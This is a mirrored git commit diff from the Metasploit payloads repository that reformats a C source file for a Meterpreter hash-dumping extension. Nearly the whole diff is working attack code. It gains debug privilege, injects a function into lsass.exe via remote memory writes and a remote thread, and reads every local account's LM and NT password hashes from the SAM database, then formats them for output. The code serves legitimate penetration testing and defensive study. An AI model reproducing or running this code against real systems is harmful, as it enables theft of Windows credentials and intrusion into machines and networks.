1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-12-21 05:35:54 +01:00

Reformatting of code to make it a bit more readable

This commit is contained in:
OJ 2014-01-24 10:59:19 +10:00
parent 5b35852e32
commit e85ff80bb4

View File

@ -12,18 +12,21 @@
#define SAM_USER_INFO_PASSWORD_OWFS 0x12
/* define types for samsrv functions */
typedef struct _SAM_DOMAIN_USER {
typedef struct _SAM_DOMAIN_USER
{
DWORD dwUserId;
LSA_UNICODE_STRING wszUsername;
} SAM_DOMAIN_USER;
typedef struct _SAM_DOMAIN_USER_ENUMERATION {
typedef struct _SAM_DOMAIN_USER_ENUMERATION
{
DWORD dwDomainUserCount;
SAM_DOMAIN_USER *pSamDomainUser;
} SAM_DOMAIN_USER_ENUMERATION;
/* define the type for passing data */
typedef struct _USERNAMEHASH {
typedef struct _USERNAMEHASH
{
char *Username;
DWORD Length;
DWORD RID;
@ -40,7 +43,8 @@ typedef BOOL (WINAPI *CloseHandleType)(HANDLE);
typedef DWORD (WINAPI *WaitForSingleObjectType)(HANDLE, DWORD);
/* define the context/argument structure */
typedef struct {
typedef struct
{
/* kernel32 function pointers */
LoadLibraryType LoadLibrary;
@ -119,19 +123,26 @@ typedef size_t (*WcstombsType)(char *, const wchar_t *, size_t);
char *StringCombine(char *string1, char *string2) {
char *StringCombine(char *string1, char *string2)
{
size_t s1len, s2len;
if (string2 == NULL) { // nothing to append
if (string2 == NULL)
{
// nothing to append
return string1;
}
// TODO: what do we want to do if memory allocation fails?
s2len = strlen(string2);
if (string1 == NULL) { // create a new string
if (string1 == NULL)
{
// create a new string
string1 = (char *)malloc(s2len + 1);
strncpy_s(string1, s2len + 1, string2, s2len + 1);
} else { // append data to the string
}
else
{ // append data to the string
s1len = strlen(string1);
string1 = (char *)realloc(string1, s1len + s2len + 1);
strncat_s(string1, s1len + s2len + 1, string2, s2len + 1);
@ -141,7 +152,8 @@ char *StringCombine(char *string1, char *string2) {
}
/* retrieve a handle to lsass.exe */
HANDLE GetLsassHandle() {
HANDLE GetLsassHandle()
{
DWORD dwProcessList[1024];
DWORD dwProcessListSize;
@ -150,17 +162,24 @@ HANDLE GetLsassHandle() {
DWORD dwCount;
/* enumerate all pids on the system */
if (EnumProcesses(dwProcessList, sizeof(dwProcessList), &dwProcessListSize)) {
if (EnumProcesses(dwProcessList, sizeof(dwProcessList), &dwProcessListSize))
{
/* only look in the first 256 process ids for lsass.exe */
if (dwProcessListSize > sizeof(dwProcessList))
{
dwProcessListSize = sizeof(dwProcessList);
}
/* iterate through all pids, retrieve the executable name, and match to lsass.exe */
for (dwCount = 0; dwCount < dwProcessListSize; dwCount++) {
if (hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessList[dwCount])) {
if (GetModuleBaseName(hProcess, NULL, szProcessName, sizeof(szProcessName))) {
if (strcmp(szProcessName, "lsass.exe") == 0) {
for (dwCount = 0; dwCount < dwProcessListSize; dwCount++)
{
if (hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessList[dwCount]))
{
if (GetModuleBaseName(hProcess, NULL, szProcessName, sizeof(szProcessName)))
{
if (strcmp(szProcessName, "lsass.exe") == 0)
{
return hProcess;
}
}
@ -172,19 +191,21 @@ HANDLE GetLsassHandle() {
}
/* set the process to have the SE_DEBUG_NAME privilige */
int SetAccessPriv() {
int SetAccessPriv()
{
HANDLE hToken;
TOKEN_PRIVILEGES priv;
/* open the current process token, retrieve the LUID for SeDebug, enable the privilege, reset the token information */
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) {
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
{
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
priv.PrivilegeCount = 1;
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)) {
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
{
CloseHandle(hToken);
return 1;
}
@ -194,8 +215,8 @@ int SetAccessPriv() {
return 0;
}
int dumpSAM(FUNCTIONARGS *fargs) {
int dumpSAM(FUNCTIONARGS *fargs)
{
/* variables for samsrv function pointers */
HANDLE hSamSrv = NULL, hSam = NULL;
SamIConnectType pSamIConnect;
@ -244,7 +265,11 @@ int dumpSAM(FUNCTIONARGS *fargs) {
/* load samsrv functions */
hSamSrv = fargs->LoadLibrary(fargs->samsrvdll);
if (hSamSrv == NULL) { dwError = 1; goto cleanup; }
if (hSamSrv == NULL)
{
dwError = 1;
goto cleanup;
}
pSamIConnect = (SamIConnectType)fargs->GetProcAddress(hSamSrv, fargs->samiconnect);
pSamrOpenDomain = (SamrOpenDomainType)fargs->GetProcAddress(hSamSrv, fargs->samropendomain);
@ -254,37 +279,63 @@ int dumpSAM(FUNCTIONARGS *fargs) {
pSamIFree_SAMPR_USER_INFO_BUFFER = (SamIFree_SAMPR_USER_INFO_BUFFERType)fargs->GetProcAddress(hSamSrv, fargs->samifree_sampr_user_info_buffer);
pSamIFree_SAMPR_ENUMERATION_BUFFER = (SamIFree_SAMPR_ENUMERATION_BUFFERType)fargs->GetProcAddress(hSamSrv, fargs->samifree_sampr_enumeration_buffer);
pSamrCloseHandle = (SamrCloseHandleType)fargs->GetProcAddress(hSamSrv, fargs->samrclosehandle);
if (!pSamIConnect || !pSamrOpenDomain || !pSamrEnumerateUsersInDomain || !pSamrOpenUser || !pSamrQueryInformationUser ||
!pSamIFree_SAMPR_USER_INFO_BUFFER || !pSamIFree_SAMPR_ENUMERATION_BUFFER || !pSamrCloseHandle) {
dwError = 1;
goto cleanup;
}
!pSamIFree_SAMPR_USER_INFO_BUFFER || !pSamIFree_SAMPR_ENUMERATION_BUFFER || !pSamrCloseHandle)
{
dwError = 1;
goto cleanup;
}
/* load advadpi32 functions */
hAdvApi32 = fargs->LoadLibrary(fargs->advapi32dll);
if (hAdvApi32 == NULL) { dwError = 1; goto cleanup; }
if (hAdvApi32 == NULL)
{
dwError = 1;
goto cleanup;
}
pLsaOpenPolicy = (LsaOpenPolicyType)fargs->GetProcAddress(hAdvApi32, fargs->lsaopenpolicy);
pLsaQueryInformationPolicy = (LsaQueryInformationPolicyType)fargs->GetProcAddress(hAdvApi32, fargs->lsaqueryinformationpolicy);
pLsaClose = (LsaCloseType)fargs->GetProcAddress(hAdvApi32, fargs->lsaclose);
if (!pLsaOpenPolicy || !pLsaQueryInformationPolicy || !pLsaClose) { dwError = 1; goto cleanup; }
if (!pLsaOpenPolicy || !pLsaQueryInformationPolicy || !pLsaClose)
{
dwError = 1;
goto cleanup;
}
/* load msvcrt functions */
hMsvcrt = fargs->LoadLibrary(fargs->msvcrtdll);
if (hMsvcrt == NULL) { dwError = 1; goto cleanup; }
if (hMsvcrt == NULL)
{
dwError = 1;
goto cleanup;
}
pMalloc = (MallocType)fargs->GetProcAddress(hMsvcrt, fargs->malloc);
pRealloc = (ReallocType)fargs->GetProcAddress(hMsvcrt, fargs->realloc);
pFree = (FreeType)fargs->GetProcAddress(hMsvcrt, fargs->free);
pMemcpy = (MemcpyType)fargs->GetProcAddress(hMsvcrt, fargs->memcpy);
if (!pMalloc || !pRealloc || !pFree || !pMemcpy) { dwError = 1; goto cleanup; }
if (!pMalloc || !pRealloc || !pFree || !pMemcpy)
{
dwError = 1;
goto cleanup;
}
/* load ntdll functions */
hNtDll = fargs->LoadLibrary(fargs->ntdlldll);
if (hNtDll == NULL) { dwError = 1; goto cleanup; }
if (hNtDll == NULL)
{
dwError = 1;
goto cleanup;
}
pWcstombs = (WcstombsType)fargs->GetProcAddress(hNtDll, fargs->wcstombs);
if (!pWcstombs) { dwError = 1; goto cleanup; }
if (!pWcstombs)
{
dwError = 1;
goto cleanup;
}
/* initialize the LSA_OBJECT_ATTRIBUTES structure */
ObjectAttributes.RootDirectory = NULL;
@ -295,39 +346,83 @@ int dumpSAM(FUNCTIONARGS *fargs) {
ObjectAttributes.Length = sizeof(LSA_OBJECT_ATTRIBUTES);
/* open a handle to the LSA policy */
if (pLsaOpenPolicy(NULL, &ObjectAttributes, POLICY_ALL_ACCESS, &hLSA) < 0) { dwError = 1; goto cleanup; }
if (pLsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, &pAcctDomainInfo) < 0) { dwError = 1; goto cleanup; }
if (pLsaOpenPolicy(NULL, &ObjectAttributes, POLICY_ALL_ACCESS, &hLSA) < 0)
{
dwError = 1;
goto cleanup;
}
if (pLsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, &pAcctDomainInfo) < 0)
{
dwError = 1;
goto cleanup;
}
/* connect to the SAM database */
if (pSamIConnect(0, &hSam, MAXIMUM_ALLOWED, 1) < 0) { dwError = 1; goto cleanup; }
if (pSamrOpenDomain(hSam, 0xf07ff, pAcctDomainInfo->DomainSid, &hDomain) < 0) { dwError = 1; goto cleanup; }
if (pSamIConnect(0, &hSam, MAXIMUM_ALLOWED, 1) < 0)
{
dwError = 1;
goto cleanup;
}
if (pSamrOpenDomain(hSam, 0xf07ff, pAcctDomainInfo->DomainSid, &hDomain) < 0)
{
dwError = 1;
goto cleanup;
}
/* enumerate all users and store username, rid, and hashes */
do {
do
{
status = pSamrEnumerateUsersInDomain(hDomain, &hEnumerationHandle, 0, &pEnumeratedUsers, 0xFFFF, &dwNumberOfUsers);
if (status < 0) { break; } // error
if (status < 0)
{
break;
} // error
// 0x0 = no more, 0x105 = more users
if (!dwNumberOfUsers) { break; } // exit if no users remain
if (!dwNumberOfUsers)
{
break;
} // exit if no users remain
if (fargs->dwDataSize == 0) { // first allocation
if (fargs->dwDataSize == 0)
{ // first allocation
fargs->dwDataSize = dwNumberOfUsers * sizeof(USERNAMEHASH);
fargs->pUsernameHashData = pMalloc(fargs->dwDataSize);
} else { // subsequent allocations
}
else
{ // subsequent allocations
fargs->dwDataSize += dwNumberOfUsers * sizeof(USERNAMEHASH);
fargs->pUsernameHashData = pRealloc(fargs->pUsernameHashData, fargs->dwDataSize);
}
if (fargs->pUsernameHashData == NULL) { dwError = 1; goto cleanup; }
if (fargs->pUsernameHashData == NULL)
{
dwError = 1;
goto cleanup;
}
for (dwCurrentUser = 0; dwCurrentUser < dwNumberOfUsers; dwCurrentUser++) {
for (dwCurrentUser = 0; dwCurrentUser < dwNumberOfUsers; dwCurrentUser++)
{
if (pSamrOpenUser(hDomain, MAXIMUM_ALLOWED, pEnumeratedUsers->pSamDomainUser[dwCurrentUser].dwUserId, &hUser) < 0) { dwError = 1; goto cleanup; }
if (pSamrQueryInformationUser(hUser, SAM_USER_INFO_PASSWORD_OWFS, &pvUserInfo) < 0) { dwError = 1; goto cleanup; }
if (pSamrOpenUser(hDomain, MAXIMUM_ALLOWED, pEnumeratedUsers->pSamDomainUser[dwCurrentUser].dwUserId, &hUser) < 0)
{
dwError = 1;
goto cleanup;
}
if (pSamrQueryInformationUser(hUser, SAM_USER_INFO_PASSWORD_OWFS, &pvUserInfo) < 0)
{
dwError = 1;
goto cleanup;
}
/* allocate space for another username */
dwUsernameLength = (pEnumeratedUsers->pSamDomainUser[dwCurrentUser].wszUsername.Length / 2);
(fargs->pUsernameHashData)[dwStorageIndex].Username = (char *)pMalloc(dwUsernameLength + 1);
if ((fargs->pUsernameHashData)[dwStorageIndex].Username == NULL) { dwError = 1; goto cleanup; }
for ( i=0; i < (dwUsernameLength + 1); i++ ) {
if ((fargs->pUsernameHashData)[dwStorageIndex].Username == NULL)
{
dwError = 1;
goto cleanup;
}
for ( i=0; i < (dwUsernameLength + 1); i++ )
{
(fargs->pUsernameHashData)[dwStorageIndex].Username[i] = 0;
}
@ -354,18 +449,35 @@ int dumpSAM(FUNCTIONARGS *fargs) {
/* set the event to signify that the data is ready */
hReadLock = fargs->OpenEvent(EVENT_MODIFY_STATE, FALSE, fargs->ReadSyncEvent);
if (hReadLock == NULL) { dwError = 1; goto cleanup; }
if (fargs->SetEvent(hReadLock) == 0) { dwError = 1; goto cleanup; }
if (hReadLock == NULL)
{
dwError = 1;
goto cleanup;
}
if (fargs->SetEvent(hReadLock) == 0)
{
dwError = 1;
goto cleanup;
}
/* wait for the copying to finish before freeing all the allocated memory */
hFreeLock = fargs->OpenEvent(EVENT_ALL_ACCESS, FALSE, fargs->FreeSyncEvent);
if (hFreeLock == NULL) { dwError = 1; goto cleanup; }
if (fargs->WaitForSingleObject(hFreeLock, fargs->dwMillisecondsToWait) != WAIT_OBJECT_0) { dwError = 1; goto cleanup; }
if (hFreeLock == NULL)
{
dwError = 1;
goto cleanup;
}
if (fargs->WaitForSingleObject(hFreeLock, fargs->dwMillisecondsToWait) != WAIT_OBJECT_0)
{
dwError = 1;
goto cleanup;
}
cleanup:
/* free all the allocated memory */
for (dwCurrentUser = 0; dwCurrentUser < dwStorageIndex; dwCurrentUser++) {
for (dwCurrentUser = 0; dwCurrentUser < dwStorageIndex; dwCurrentUser++)
{
pFree((fargs->pUsernameHashData)[dwCurrentUser].Username);
}
pFree(fargs->pUsernameHashData);
@ -376,10 +488,21 @@ cleanup:
pLsaClose(hLSA);
/* free library handles */
if (hSamSrv) { fargs->FreeLibrary(hSamSrv); }
if (hAdvApi32) { fargs->FreeLibrary(hAdvApi32); }
if (hMsvcrt) { fargs->FreeLibrary(hMsvcrt); }
if (hNtDll) { fargs->FreeLibrary(hNtDll); }
if (hSamSrv)
{
fargs->FreeLibrary(hSamSrv); }
if (hAdvApi32)
{
fargs->FreeLibrary(hAdvApi32);
}
if (hMsvcrt)
{
fargs->FreeLibrary(hMsvcrt);
}
if (hNtDll)
{
fargs->FreeLibrary(hNtDll);
}
/* signal that the memory deallocation is complete */
fargs->SetEvent(hReadLock);
@ -399,13 +522,17 @@ void sizer() { __asm { ret } }
#endif
/* initialize the context structure - returns 0 on success, return 1 on error */
int setArgs(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait) {
int setArgs(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait)
{
HMODULE hLibrary = NULL;
/* set loadlibrary and getprocaddress function addresses */
hLibrary = LoadLibrary("kernel32");
if (hLibrary == NULL) { return 1; }
if (hLibrary == NULL)
{
return 1;
}
fargs->LoadLibrary = (LoadLibraryType)GetProcAddress(hLibrary, "LoadLibraryA");
fargs->GetProcAddress = (GetProcAddressType)GetProcAddress(hLibrary, "GetProcAddress");
@ -415,7 +542,8 @@ int setArgs(FUNCTIONARGS *fargs, DWORD dwMillisecondsToWait) {
fargs->CloseHandle = (CloseHandleType)GetProcAddress(hLibrary, "CloseHandle");
fargs->WaitForSingleObject = (WaitForSingleObjectType)GetProcAddress(hLibrary, "WaitForSingleObject");
if (!fargs->LoadLibrary || !fargs->GetProcAddress || !fargs->FreeLibrary || !fargs->OpenEvent || !fargs->SetEvent || !fargs->CloseHandle || !fargs->WaitForSingleObject) {
if (!fargs->LoadLibrary || !fargs->GetProcAddress || !fargs->FreeLibrary || !fargs->OpenEvent || !fargs->SetEvent || !fargs->CloseHandle || !fargs->WaitForSingleObject)
{
CloseHandle(hLibrary);
return 1;
}
@ -470,7 +598,8 @@ control function driving the dumping - return 0 on success, 1 on error
dwMillisecondsToWait = basically controls how long to wait for the results
*/
int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults) {
int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults)
{
HANDLE hThreadHandle = NULL, hLsassHandle = NULL, hReadLock = NULL, hFreeLock = NULL;
LPVOID pvParameterMemory = NULL, pvFunctionMemory = NULL;
@ -487,27 +616,39 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
char buffer[100];
/* END METERPRETER CODE */
do {
do
{
/* ORANGE control input - move this to the client perl side */
if (dwMillisecondsToWait < 60000) { dwMillisecondsToWait = 60000; }
if (dwMillisecondsToWait > 300000) { dwMillisecondsToWait = 300000; }
if (dwMillisecondsToWait < 60000)
{
dwMillisecondsToWait = 60000;
}
if (dwMillisecondsToWait > 300000)
{
dwMillisecondsToWait = 300000;
}
/* create the event kernel sync objects */
hReadLock = CreateEvent(NULL, FALSE, FALSE, "SAM");
hFreeLock = CreateEvent(NULL, FALSE, FALSE, "FREE");
if (!hReadLock || !hFreeLock) { dwError = 1; break; }
if (!hReadLock || !hFreeLock)
{
dwError = 1; break;
}
/* calculate the function size */
FunctionSize = (DWORD)sizer - (DWORD)dumpSAM;
if (FunctionSize <= 0) {
if (FunctionSize <= 0)
{
dprintf("Error calculating the function size.\n");
dwError = 1;
break;
}
/* set access priv */
if (SetAccessPriv() == 0) {
if (SetAccessPriv() == 0)
{
dprintf("Error setting SE_DEBUG_NAME privilege\n");
dwError = 1;
break;
@ -515,82 +656,138 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
/* get the lsass handle */
hLsassHandle = GetLsassHandle();
if (hLsassHandle == 0) {
if (hLsassHandle == 0)
{
dprintf("Error getting lsass.exe handle.\n");
dwError = 1;
break;
}
/* set the arguments in the context structure */
if (setArgs(&InitFunctionArguments, dwMillisecondsToWait)) { dwError = 1; break; }
if (setArgs(&InitFunctionArguments, dwMillisecondsToWait))
{
dwError = 1; break;
}
/* allocate memory for the context structure */
pvParameterMemory = VirtualAllocEx(hLsassHandle, NULL, sizeof(FUNCTIONARGS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pvParameterMemory == NULL) { dwError = 1; break; }
if (pvParameterMemory == NULL)
{
dwError = 1; break;
}
/* write context structure into remote process */
if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &sBytesWritten) == 0) { dwError = 1; break; }
if (sBytesWritten != sizeof(InitFunctionArguments)) { dwError = 1; break; }
if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &sBytesWritten) == 0)
{
dwError = 1; break;
}
if (sBytesWritten != sizeof(InitFunctionArguments))
{
dwError = 1; break;
}
sBytesWritten = 0;
/* allocate memory for the function */
pvFunctionMemory = VirtualAllocEx(hLsassHandle, NULL, FunctionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pvFunctionMemory == NULL) { dwError = 1; break; }
if (pvFunctionMemory == NULL)
{
dwError = 1; break;
}
/* write the function into the remote process */
if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dumpSAM, FunctionSize, &sBytesWritten) == 0) { dwError = 1; break; }
if (sBytesWritten != FunctionSize) { dwError = 1; break; }
if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dumpSAM, FunctionSize, &sBytesWritten) == 0)
{
dwError = 1; break;
}
if (sBytesWritten != FunctionSize)
{
dwError = 1; break;
}
sBytesWritten = 0;
/* start the remote thread */
if ((hThreadHandle = CreateRemoteThread(hLsassHandle, NULL, 0, (LPTHREAD_START_ROUTINE)pvFunctionMemory, pvParameterMemory, 0, &dwThreadId)) == NULL) { dwError = 1; break; }
if ((hThreadHandle = CreateRemoteThread(hLsassHandle, NULL, 0, (LPTHREAD_START_ROUTINE)pvFunctionMemory, pvParameterMemory, 0, &dwThreadId)) == NULL)
{
dwError = 1; break;
}
/* wait until the data is ready to be collected */
if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0)
{
dprintf("Timed out waiting for the data to be collected.\n");
dwError = 1;
break;
}
/* read results of the injected function */
if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &sBytesRead) == 0) { dwError = 1; break; }
if (sBytesRead != sizeof(InitFunctionArguments)) { dwError = 1; break; }
if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &sBytesRead) == 0)
{
dwError = 1; break;
}
if (sBytesRead != sizeof(InitFunctionArguments))
{
dwError = 1; break;
}
sBytesRead = 0;
/* allocate space for the results */
UsernameHashResults = (USERNAMEHASH *)malloc(FinalFunctionArguments.dwDataSize);
if (UsernameHashResults == NULL) { dwError = 1; break; }
if (UsernameHashResults == NULL)
{
dwError = 1; break;
}
/* determine the number of elements and copy over the data */
dwNumberOfUsers = FinalFunctionArguments.dwDataSize / sizeof(USERNAMEHASH);
/* copy the context structure */
if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &sBytesRead) == 0) { break; }
if (sBytesRead != FinalFunctionArguments.dwDataSize) { break; }
if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &sBytesRead) == 0)
{
break;
}
if (sBytesRead != FinalFunctionArguments.dwDataSize)
{
break;
}
sBytesRead = 0;
// save the old mem addy, malloc new space, copy over the data, free the old mem addy
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++)
{
UsernameAddress = UsernameHashResults[dwCurrentUserIndex].Username;
UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length + 1);
if (UsernameHashResults[dwCurrentUserIndex].Username == NULL) { dwError = 1; break; }
if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0) { dwError = 1; break; }
if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length) { dwError = 1; break; }
UsernameHashResults[dwCurrentUserIndex].Username[ UsernameHashResults[dwCurrentUserIndex].Length ] = 0;
UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length + 1);
if (UsernameHashResults[dwCurrentUserIndex].Username == NULL)
{
dwError = 1; break;
}
if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0)
{
dwError = 1; break;
}
if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length)
{
dwError = 1; break;
}
UsernameHashResults[dwCurrentUserIndex].Username[UsernameHashResults[dwCurrentUserIndex].Length] = 0;
}
/* signal that all data has been read and wait for the remote memory to be free'd */
if (SetEvent(hFreeLock) == 0) { dwError = 1; break; }
if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
if (SetEvent(hFreeLock) == 0)
{
dwError = 1; break;
}
if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0)
{
dprintf("The timeout hit.\n");
dwError = 1;
break;
}
/* display the results and free the malloc'd memory for the username */
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++)
{
/* METERPRETER CODE */
hashstring = StringCombine(hashstring, UsernameHashResults[dwCurrentUserIndex].Username);
@ -601,24 +798,26 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
/* END METERPRETER CODE */
//printf("%s:%d:", UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].RID);
for (HashIndex = 16; HashIndex < 32; HashIndex++) {
/* ORANGE - insert check for ***NO PASSWORD***
for (HashIndex = 16; HashIndex < 32; HashIndex++)
{
/* ORANGE - insert check for ***NO PASSWORD***
if( (regData[4] == 0x35b4d3aa) && (regData[5] == 0xee0414b5)
&& (regData[6] == 0x35b4d3aa) && (regData[7] == 0xee0414b5) )
sprintf( LMdata, "NO PASSWORD*********************" );
*/
&& (regData[6] == 0x35b4d3aa) && (regData[7] == 0xee0414b5) )
sprintf( LMdata, "NO PASSWORD*********************" );
*/
_snprintf_s(buffer, sizeof(buffer), 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
hashstring = StringCombine(hashstring, buffer);
//printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
}
hashstring = StringCombine(hashstring, ":");
//printf(":");
for (HashIndex = 0; HashIndex < 16; HashIndex++) {
for (HashIndex = 0; HashIndex < 16; HashIndex++)
{
/* ORANGE - insert check for ***NO PASSWORD***
if( (regData[0] == 0xe0cfd631) && (regData[1] == 0x31e96ad1)
&& (regData[2] == 0xd7593cb7) && (regData[3] == 0xc089c0e0) )
sprintf( NTdata, "NO PASSWORD*********************" );
*/
&& (regData[2] == 0xd7593cb7) && (regData[3] == 0xc089c0e0) )
sprintf( NTdata, "NO PASSWORD*********************" );
*/
_snprintf_s(buffer, sizeof(buffer), 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
hashstring = StringCombine(hashstring, buffer);
//printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
@ -627,30 +826,51 @@ int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults
hashstring = StringCombine(hashstring, ":::\n");
//printf(":::\n");
}
} while(0);
} while (0);
/* relesase the event objects */
if (hReadLock) { CloseHandle(hReadLock); }
if (hFreeLock) { CloseHandle(hFreeLock); }
if (hReadLock)
{
CloseHandle(hReadLock);
}
if (hFreeLock)
{
CloseHandle(hFreeLock);
}
/* close handle to lsass */
if (hLsassHandle) { CloseHandle(hLsassHandle); }
if (hLsassHandle)
{
CloseHandle(hLsassHandle);
}
/* free the context structure and the injected function and the results */
if (pvParameterMemory) { VirtualFreeEx(hLsassHandle, pvParameterMemory, sizeof(FUNCTIONARGS), MEM_RELEASE); }
if (pvFunctionMemory) { VirtualFreeEx(hLsassHandle, pvFunctionMemory, FunctionSize, MEM_RELEASE); }
if (pvParameterMemory)
{
VirtualFreeEx(hLsassHandle, pvParameterMemory, sizeof(FUNCTIONARGS), MEM_RELEASE);
}
if (pvFunctionMemory)
{
VirtualFreeEx(hLsassHandle, pvFunctionMemory, FunctionSize, MEM_RELEASE);
}
/* free the remote thread handle */
if (hThreadHandle) { CloseHandle(hThreadHandle); }
if (hThreadHandle)
{
CloseHandle(hThreadHandle);
}
/* free the results structure including individually malloced space for usernames */
if (UsernameHashResults) {
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
if (UsernameHashResults[dwCurrentUserIndex].Username) {
if (UsernameHashResults)
{
for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++)
{
if (UsernameHashResults[dwCurrentUserIndex].Username)
{
free(UsernameHashResults[dwCurrentUserIndex].Username);
}
}
free(UsernameHashResults);
free(UsernameHashResults);
}
/* return hashresults */